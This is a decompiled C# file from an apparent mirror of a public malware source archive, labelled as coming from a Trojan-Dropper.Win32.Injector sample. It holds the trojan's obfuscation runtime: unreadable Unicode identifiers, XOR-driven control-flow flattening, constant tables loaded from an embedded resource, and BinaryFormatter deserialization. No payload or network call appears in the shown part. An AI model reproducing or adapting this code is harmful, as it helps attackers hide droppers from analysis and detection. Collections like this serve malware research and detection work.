mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
256 lines
6.4 KiB
C#
256 lines
6.4 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type:
|
|||
|
// Assembly: Msil, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 592E0705-5FE3-456B-BE3B-BDC64BF0EA12
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.Win32.Injector.bohb-8459fa9a1d18ad0edf27e23258c967c9e734b43e94385e7834ac8244fbf1249c.exe
|
|||
|
|
|||
|
using System;
|
|||
|
using System.IO;
|
|||
|
using System.Reflection;
|
|||
|
using System.Runtime.Serialization.Formatters.Binary;
|
|||
|
|
|||
|
internal sealed class \uE009
|
|||
|
{
|
|||
|
public static int \uE000(int _param0) => \uE009.\uE000.\uE000.\uE001[_param0];
|
|||
|
|
|||
|
public static long \uE001(int _param0) => \uE009.\uE000.\uE000.\uE002[_param0];
|
|||
|
|
|||
|
public static float \uE002(int _param0) => \uE009.\uE000.\uE000.\uE003[_param0];
|
|||
|
|
|||
|
public static double \uE003(int _param0) => \uE009.\uE000.\uE000.\uE004[_param0];
|
|||
|
|
|||
|
public static Array \uE004(byte[] _param0)
|
|||
|
{
|
|||
|
MemoryStream memoryStream = new MemoryStream(_param0);
|
|||
|
label_10:
|
|||
|
int num1 = -515919758;
|
|||
|
int num2 = -1015581650;
|
|||
|
label_2:
|
|||
|
num2 ^= 1019401914;
|
|||
|
int num3;
|
|||
|
int num4;
|
|||
|
switch (num2 + 4873581)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
goto label_10;
|
|||
|
case 1:
|
|||
|
BinaryFormatter binaryFormatter;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
num1 ^= 512422144;
|
|||
|
switch (num1 + 4898446)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
binaryFormatter = new BinaryFormatter();
|
|||
|
num1 = -515919757;
|
|||
|
continue;
|
|||
|
case 1:
|
|||
|
goto label_12;
|
|||
|
default:
|
|||
|
goto label_9;
|
|||
|
}
|
|||
|
}
|
|||
|
label_12:
|
|||
|
MemoryStream serializationStream = \uE010.\uE000((Stream) memoryStream);
|
|||
|
try
|
|||
|
{
|
|||
|
return (Array) binaryFormatter.Deserialize((Stream) serializationStream);
|
|||
|
}
|
|||
|
finally
|
|||
|
{
|
|||
|
if ((serializationStream == null ? 1 : 0) == 0)
|
|||
|
serializationStream.Dispose();
|
|||
|
}
|
|||
|
default:
|
|||
|
label_8:
|
|||
|
num3 = 1253577736;
|
|||
|
num4 = 768216154;
|
|||
|
goto label_4;
|
|||
|
}
|
|||
|
label_3:
|
|||
|
num3 ^= 1249911885;
|
|||
|
switch (num3)
|
|||
|
{
|
|||
|
case 3682373:
|
|||
|
goto label_9;
|
|||
|
case 3682374:
|
|||
|
goto label_2;
|
|||
|
default:
|
|||
|
goto label_7;
|
|||
|
}
|
|||
|
label_4:
|
|||
|
num4 ^= 771679989;
|
|||
|
switch (num4)
|
|||
|
{
|
|||
|
case 3467950:
|
|||
|
goto label_8;
|
|||
|
case 3467951:
|
|||
|
goto label_3;
|
|||
|
default:
|
|||
|
goto label_6;
|
|||
|
}
|
|||
|
label_5:
|
|||
|
int num5;
|
|||
|
switch (num5 ^ 468325142)
|
|||
|
{
|
|||
|
case 3919889:
|
|||
|
goto label_7;
|
|||
|
case 3919890:
|
|||
|
goto label_4;
|
|||
|
}
|
|||
|
label_6:
|
|||
|
num5 = 466731783;
|
|||
|
goto label_5;
|
|||
|
label_7:
|
|||
|
num4 = 768216155;
|
|||
|
num5 = 466731780;
|
|||
|
goto label_5;
|
|||
|
label_9:
|
|||
|
num2 = -1015581655;
|
|||
|
num3 = 1253577739;
|
|||
|
goto label_3;
|
|||
|
}
|
|||
|
|
|||
|
public static string \uE000 => "62cfa92189f838bb";
|
|||
|
|
|||
|
private sealed class \uE000
|
|||
|
{
|
|||
|
public static readonly \uE009.\uE000 \uE000;
|
|||
|
internal int[] \uE001;
|
|||
|
internal long[] \uE002;
|
|||
|
internal float[] \uE003;
|
|||
|
internal double[] \uE004;
|
|||
|
|
|||
|
static \uE000()
|
|||
|
{
|
|||
|
\uE008.\uE000();
|
|||
|
\uE009.\uE000.\uE000 = new \uE009.\uE000();
|
|||
|
}
|
|||
|
|
|||
|
private \uE000() => this.\uE000((Stream) \uE010.\uE000(Assembly.GetExecutingAssembly().GetManifestResourceStream(\uE009.\uE000)));
|
|||
|
|
|||
|
private void \uE000(Stream _param1)
|
|||
|
{
|
|||
|
BinaryReader binaryReader = new BinaryReader(_param1);
|
|||
|
label_2:
|
|||
|
int num1 = 730339864;
|
|||
|
int length1;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch (num1 ^ 732237328)
|
|||
|
{
|
|||
|
case 2954247:
|
|||
|
this.\uE001 = new int[length1];
|
|||
|
num1 = 730339866;
|
|||
|
continue;
|
|||
|
case 2954248:
|
|||
|
length1 = binaryReader.ReadInt32();
|
|||
|
num1 = 730339865;
|
|||
|
continue;
|
|||
|
case 2954249:
|
|||
|
if (length1 > 0)
|
|||
|
{
|
|||
|
num1 = 730339863;
|
|||
|
continue;
|
|||
|
}
|
|||
|
goto label_9;
|
|||
|
case 2954250:
|
|||
|
goto label_8;
|
|||
|
default:
|
|||
|
goto label_2;
|
|||
|
}
|
|||
|
}
|
|||
|
label_8:
|
|||
|
while (--length1 >= 0)
|
|||
|
this.\uE001[length1] = binaryReader.ReadInt32();
|
|||
|
label_9:
|
|||
|
int length2 = binaryReader.ReadInt32();
|
|||
|
while ((length2 <= 0 ? 0 : 1) != 0)
|
|||
|
{
|
|||
|
this.\uE002 = new long[length2];
|
|||
|
while (--length2 >= 0)
|
|||
|
this.\uE002[length2] = binaryReader.ReadInt64();
|
|||
|
}
|
|||
|
int length3 = binaryReader.ReadInt32();
|
|||
|
while ((length3 <= 0 ? 0 : 1) != 0)
|
|||
|
{
|
|||
|
this.\uE003 = new float[length3];
|
|||
|
while (--length3 >= 0)
|
|||
|
this.\uE003[length3] = binaryReader.ReadSingle();
|
|||
|
}
|
|||
|
label_32:
|
|||
|
int num2 = 557462310;
|
|||
|
int num3 = -384716687;
|
|||
|
label_20:
|
|||
|
while (true)
|
|||
|
{
|
|||
|
num3 ^= 379780358;
|
|||
|
label_24:
|
|||
|
int num4 = -1442227832;
|
|||
|
int num5 = -712615296;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch ((num5 ^ 707200521) + 6202233)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
goto label_24;
|
|||
|
case 1:
|
|||
|
switch (num4 + 6308697)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
switch (num3 + 5026443)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
switch (num2)
|
|||
|
{
|
|||
|
case 3012693:
|
|||
|
length3 = binaryReader.ReadInt32();
|
|||
|
num2 = 557462309;
|
|||
|
goto label_19;
|
|||
|
case 3012694:
|
|||
|
goto label_37;
|
|||
|
default:
|
|||
|
goto label_31;
|
|||
|
}
|
|||
|
case 1:
|
|||
|
goto label_32;
|
|||
|
case 2:
|
|||
|
label_19:
|
|||
|
num2 ^= 555207539;
|
|||
|
goto label_29;
|
|||
|
default:
|
|||
|
num4 = -1442227833;
|
|||
|
goto label_21;
|
|||
|
}
|
|||
|
case 1:
|
|||
|
label_29:
|
|||
|
num3 = -384716685;
|
|||
|
num4 = -1442227834;
|
|||
|
goto label_21;
|
|||
|
case 2:
|
|||
|
goto label_20;
|
|||
|
default:
|
|||
|
num5 = -712615282;
|
|||
|
continue;
|
|||
|
}
|
|||
|
case 2:
|
|||
|
label_21:
|
|||
|
num4 ^= 1435952431;
|
|||
|
break;
|
|||
|
}
|
|||
|
num5 = -712615295;
|
|||
|
}
|
|||
|
label_31:
|
|||
|
num3 = -384716688;
|
|||
|
}
|
|||
|
label_37:
|
|||
|
while ((length3 <= 0 ? 0 : 1) != 0)
|
|||
|
{
|
|||
|
this.\uE004 = new double[length3];
|
|||
|
while (--length3 >= 0)
|
|||
|
this.\uE004[length3] = binaryReader.ReadDouble();
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|